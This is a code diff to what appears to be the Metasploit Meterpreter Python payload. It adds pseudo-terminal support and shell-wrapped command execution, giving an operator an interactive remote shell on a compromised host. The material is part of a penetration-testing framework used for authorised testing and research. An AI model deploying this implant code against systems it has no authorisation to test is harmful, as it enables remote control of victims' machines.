diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 9bee1cd6c3..b3718729bb 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -12,12 +12,24 @@ import subprocess has_windll = hasattr(ctypes, 'windll') +try: + import pty + has_pty = True +except ImportError: + has_pty = False + try: import pwd has_pwd = True except ImportError: has_pwd = False +try: + import termios + has_termios = True +except ImportError: + has_termios = False + try: import _winreg as winreg has_winreg = True @@ -371,10 +383,25 @@ def stdapi_sys_process_execute(request, response): flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value'] if len(cmd) == 0: return ERROR_FAILURE, response - args = [cmd] - args.extend(shlex.split(raw_args)) + if os.path.isfile('/bin/sh'): + args = ['/bin/sh', '-c', cmd, raw_args] + else: + args = [cmd] + args.extend(shlex.split(raw_args)) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + if has_pty: + master, slave = pty.openpty() + if has_termios: + settings = termios.tcgetattr(master) + settings[3] = settings[3] & ~termios.ECHO + termios.tcsetattr(master, termios.TCSADRAIN, settings) + proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0) + proc_h.stdin = os.fdopen(master, 'wb') + proc_h.stdout = os.fdopen(master, 'rb') + proc_h.stderr = open(os.devnull, 'rb') + else: + proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + proc_h.start() else: proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) proc_h_id = len(meterpreter.processes) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index fb9adfb81e..c9ec8f0640 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -167,6 +167,8 @@ class STDProcessBuffer(threading.Thread): class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) + + def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)